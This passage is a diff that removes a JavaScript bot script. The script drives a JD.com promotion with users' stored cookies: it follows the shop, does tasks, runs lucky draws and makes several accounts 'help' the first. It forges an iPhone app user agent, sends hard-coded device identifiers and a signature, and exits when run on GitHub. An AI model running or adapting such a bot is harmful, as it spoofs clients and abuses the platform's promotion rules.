!$.actorUuid) return - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - -async function run(){ - try{ - $.isvObfuscatorToken = $.LZ_TOKEN_KEY = $.LZ_TOKEN_VALUE = $.task = '' - await getWxCommonInfoToken(); - await getIsvObfuscatorToken(); - if($.isvObfuscatorToken == '' || $.LZ_TOKEN_KEY == '' || $.LZ_TOKEN_VALUE == ''){ - console.log('获取[token]失败!') - return - } - await getSimpleActInfoVo() - $.myPingData = await getMyPing() - if ($.myPingData ==="" || $.myPingData === '400001' || typeof $.shopId == 'undefined' || typeof $.venderId == 'undefined') { - $.log("获取活动信息失败!") - return - } - await getHtml(); - await adLog(); - $.attrTouXiang = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' - await getUserInfo(); - $.actorUuid = ''; - await getActorUuid(); - if(!$.actorUuid){ - console.log('获取不到[actorUuid]退出执行,请重新执行') - return - } - await $.wait(1000) - $.log("关注: " + $.hasFollowShop) - if(!$.hasFollowShop) await followShop(); - $.log("助力: " + (typeof $.shareUser == 'undefined')) - if(typeof $.shareUser != 'undefined') await helpFriend(); - await myInfo(); - let flag = 0 - if($.task){ - for(let i of $.task){ - if(i.curNum >= i.maxNeed) continue - if(i.taskname.indexOf('邀请好友') > -1) continue - console.log(i.taskname) - await doTask(i.taskid); - await $.wait(2000) - flag = 1 - } - } - if(flag == 1) await myInfo(); - if(flag == 1) await $.wait(1000) - let drawChances = parseInt($.score/100, 10) - console.log(`总共${$.totalScore}龙力值 剩余${$.score}龙力值 ${$.drawChance}次抽奖机会 ${drawChances}额外抽奖机会`) - if(luckydrawStatus === 'true'){ - let num = 1 - for(j=1;$.drawChance--;j++){ - await luckydraw(0) - await $.wait(1000) - num++; - if(num>= 10) console.log('抽奖次数太多,请再次运行抽奖') - if(num>= 10) break - } - for(j=1;drawChances-- && num < 10;j++){ - if(num>= 10) console.log('抽奖次数太多,请再次运行抽奖') - if(num>= 10) break - num++; - await luckydraw(1) - await $.wait(1000) - } - } - await getActorUuid() - await $.wait(1000) - await myprize() - await $.wait(1000) - await myfriend() - $.log($.shareUuid) - if ($.index === 1) { - if($.actorUuid){ - $.shareUuid = $.actorUuid; - console.log(`后面的号都会助力:${$.shareUuid}`) - }else{ - console.log('账号1获取不到[shareUuid]退出执行,请重新执行') - return - } - } - }catch(e){ - console.log(e) - } -} -function myprize() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}` - $.post(taskPostUrl('/dingzhi/xiaolong/collectcard/myprize', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - console.log(`我的奖品:`) - let num = 0 - let value = 0 - for(let i in res.data){ - let item = res.data[i] - if(item.remark.indexOf('邀请好友') > -1) num++; - if(item.remark.indexOf('邀请好友') > -1) value = item.rewardName.replace('京豆',''); - if(item.remark.indexOf('邀请好友') == -1) console.log(`${item.remark +':' || ''}${item.rewardName}`) - } - if(num > 0) console.log(`邀请好友(${num}):${num*parseInt(value, 10) || 30}京豆`) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`我的奖品 ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function myfriend() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.myPingData.secretPin)}&num=0&sortSuatus=1` - $.post(taskPostUrl('/dingzhi/xiaolong/collectcard/myfriend', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - $.log(`=========== 你邀请了:${res.data.length}个`) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function luckydraw(type) { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&type=${type}` - $.post(taskPostUrl('/dingzhi/xiaolong/collectcard/luckydraw', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - let msg = '' - if(res.data.prize && res.data.prize.rewardName){ - msg = `${res.data.prize.rewardName}` - } - console.log(`抽奖获得:${ msg || '空气💨'}`) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`抽奖 ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function doTask(taskId) { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&taskId=${taskId}` - $.post(taskPostUrl('/dingzhi/xiaolong/collectcard/doTask', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} helpFriend API请求失败,请检查网路重试`) - } else { - // console.log(data) - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - let msg = '' - if(res.data.beanNum){ - msg = ` ${res.data.beanNum}京豆` - } - if(res.data.score){ - msg += ` ${res.data.score}龙力值` - } - if(res.data.drawChance){ - msg += ` ${res.data.drawChance}次抽奖` - } - console.log(`获得:${ msg || '空气💨'}`) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function helpFriend() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&shareUuid=${$.shareUuid}` - $.post(taskPostUrl('/dingzhi/xiaolong/collectcard/helpFriend', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} helpFriend API请求失败,请检查网路重试`) - } else { - // console.log(data) - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - let msg = `助力失败\n${data}` - if(res.data.helpFriendMsg){ - msg = `${res.data.helpFriendMsg}` - } - console.log(`${msg}`) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function followShop() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}` - $.post(taskPostUrl('/dingzhi/xiaolong/collectcard/followshop', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} followShop API请求失败,请检查网路重试`) - } else { - // console.log(data) - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true){ - - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function myInfo() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}` - $.post(taskPostUrl('/dingzhi/xiaolong/collectcard/myInfo', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - res = $.toObj(data); - if(typeof res == 'object'){ - if(typeof res.data.task != 'undefined') $.task = res.data.task - if(typeof res.data.drawChance != 'undefined') $.drawChance = res.data.drawChance - if(typeof res.data.score != 'undefined') $.score = res.data.score - if(typeof res.data.totalScore != 'undefined') $.totalScore = res.data.totalScore - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getActorUuid() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz4-isv.isvjcloud.com/dingzhi/xiaolong/collectcard/activityContent`, - body: `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.myPingData.nickname)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareUuid}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz4-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - "Referer": `https://lzdz4-isv.isvjcloud.com/dingzhi/xiaolong/collectcard/activity/1441690?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - res = $.toObj(data); - if(typeof res == 'object' && res.result === true){ - if(typeof res.data.hasFollowShop != 'undefined') $.hasFollowShop = res.data.hasFollowShop - if(typeof res.data.shareUser != 'undefined') $.shareUser = res.data.shareUser - if(typeof res.data.uid != 'undefined') $.actorUuid = res.data.uid - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`activityContent ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getUserInfo() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz4-isv.isvjcloud.com/wxActionCommon/getUserInfo`, - body: `pin=${encodeURIComponent($.myPingData.secretPin)}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz4-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Referer': `https://lzdz4-isv.isvjcloud.com/dingzhi/xiaolong/collectcard/activity/1441690?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getUserInfo API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object' && res.result === true){ - if(res.data && typeof res.data.yunMidImageUrl != 'undefined') $.attrTouXiang = res.data.yunMidImageUrl || "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`getUserInfo ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function adLog() { - return new Promise(resolve => { - let pageurl = `https://lzdz4-isv.isvjcloud.com/dingzhi/xiaolong/collectcard/activity/1441690?activityId=${$.activityId}&shareUuid=${$.shareUuid}` - $.post({ - url: `https://lzdz4-isv.isvjcloud.com/common/accessLogWithAD`, - body: `venderId=${$.venderId}&code=99&pin=${encodeURIComponent($.myPingData.secretPin)}&activityId=${$.activityId}&pageUrl=${encodeURIComponent(pageurl)}&subType=APP&adSource=null`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz4-isv.isvjcloud.com', - 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // data = JSON.parse(data); - let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - let setcookie = '' - if(setcookies){ - if(typeof setcookies != 'object'){ - setcookie = setcookies.split(',') - }else setcookie = setcookies - let LZ_TOKEN_KEY = setcookie.filter(row => row.indexOf("LZ_TOKEN_KEY") !== -1)[0] - if(LZ_TOKEN_KEY && LZ_TOKEN_KEY.indexOf("LZ_TOKEN_KEY=") > -1){ - $.LZ_TOKEN_KEY = LZ_TOKEN_KEY.split(';') && (LZ_TOKEN_KEY.split(';')[0]) || '' - $.LZ_TOKEN_KEY = $.LZ_TOKEN_KEY.replace('LZ_TOKEN_KEY=','') - } - let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] - if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ - $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' - $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getHtml() { - return new Promise(resolve => { - $.get({ - url: `https://lzdz4-isv.isvjcloud.com/dingzhi/xiaolong/collectcard/activity/1441690?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - headers: { - 'User-Agent': $.UA, - 'Host':'lzdz4-isv.isvjcloud.com', - 'X-Requested-With': 'com.jingdong.app.mall', - 'Cookie': `IsvToken=${$.isvObfuscatorToken}; LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.secretPin}; ${$.lz_jdpin_token}`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getMyPing() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz4-isv.isvjcloud.com/customer/getMyPing`, - body: `userId=${$.shopId || $.venderId}&token=${$.isvObfuscatorToken}&fromType=APP`, - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'lzdz4-isv.isvjcloud.com', - 'Referer':`https://lzdz4-isv.isvjcloud.com/dingzhi/xiaolong/collectcard/activity/1441690?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE};`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getMyPing API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - let setcookie = '' - if(setcookies){ - if(typeof setcookies != 'object'){ - setcookie = setcookies.split(',') - }else setcookie = setcookies - let lz_jdpin_token = setcookie.filter(row => row.indexOf("lz_jdpin_token") !== -1)[0] - $.lz_jdpin_token = '' - if(lz_jdpin_token && lz_jdpin_token.indexOf("lz_jdpin_token=") > -1){ - $.lz_jdpin_token = lz_jdpin_token.split(';') && (lz_jdpin_token.split(';')[0] + ';') || '' - } - let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] - if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ - $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' - $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(res.data || ''); - } - }) - }) -} -function getSimpleActInfoVo() { - return new Promise(resolve => { - $.post({ - url: `https://lzdz4-isv.isvjcloud.com/dz/common/getSimpleActInfoVo`, - body: `activityId=${$.activityId}`, - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'lzdz4-isv.isvjcloud.com', - 'Referer':`https://lzdz4-isv.isvjcloud.com/dingzhi/xiaolong/collectcard/activity/1441690?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE};`, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getSimpleActInfoVo API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object' && res.result === true){ - if(typeof res.data.shopId != 'undefined') $.shopId = res.data.shopId - if(typeof res.data.venderId != 'undefined') $.venderId = res.data.venderId - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`getSimpleActInfoVo ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getWxCommonInfoToken () { - return new Promise(resolve => { - $.post({ - url: `https://lzdz4-isv.isvjcloud.com/wxCommonInfo/token`, - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'lzdz4-isv.isvjcloud.com', - 'Origin':'https://lzdz4-isv.isvjcloud.com', - 'Referer': `https://lzdz4-isv.isvjcloud.com/dingzhi/xiaolong/collectcard/activity/1441690?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': cookie, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} wxCommonInfo API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object' && res.result === true){ - if(typeof res.data.LZ_TOKEN_KEY != 'undefined') $.LZ_TOKEN_KEY = res.data.LZ_TOKEN_KEY - if(typeof res.data.LZ_TOKEN_VALUE != 'undefined') $.LZ_TOKEN_VALUE = res.data.LZ_TOKEN_VALUE - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`token ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getIsvObfuscatorToken () { - return new Promise(resolve => { - $.post({ - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - body: 'area=16_1315_3486_59648&body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz4-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167764&client=apple&clientVersion=10.0.10&d_brand=apple&d_model=iPhone12%2C1&eid=eidIde27812210seewuOJWEnRZ6u7X5cB/JIQnsLj51RJEe7PtlRG/yNSbeUMf%2BbNdgjQzFxhZsU4m5/PLZOhi87ebHQ0wPc9qd82Bh%2BVoPAhwbhRqFY&isBackground=N&joycious=59&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=ebf4ce8ecbb641054b00c00483b1cee85660d196&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=85975d9149a99a8773da99475093e5df&st=1628842643694&sv=100&uemps=0-0&uts=0f31TVRjBSsqndu4/jgUPz6uymy50MQJTGe1kGzlVUSwNbkSbubhmuKL8rUZWFIXz6fTEnSIll6JnBySCmFizA6CYX6LrtC%2BqIhtKsiLZittsB9QCCstWCIU7OYWRTiQhupYps3YigZ2NE7NMszM5flu5v3jCNgowjLMHqSD9QLx/E3NRiz%2B%2BQLXceJhCINjAET5kuyMf/lXLOIG/0EFZg%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b', - headers: { - 'User-Agent': $.UA, - 'Content-Type':'application/x-www-form-urlencoded', - 'Host':'api.m.jd.com', - 'Cookie': cookie, - } - }, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} isvObfuscator API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object'){ - if(typeof res.token != 'undefined') $.isvObfuscatorToken = res.token - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function taskPostUrl(url, body) { - return { - url: `https://lzdz4-isv.isvjcloud.com${url}`, - body: body, - headers: { - "Accept": "application/json", - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - 'Cookie': `${cookie} LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - "Host": "lzdz4-isv.isvjcloud.com", - "Origin": "https://lzdz4-isv.isvjcloud.com", - "X-Requested-With": "XMLHttpRequest", - "Referer": `https://lzdz4-isv.isvjcloud.com/dingzhi/xiaolong/collectcard/activity/1441690?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - "User-Agent": $.UA , - } - } -} - -function getUA(){ - $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let 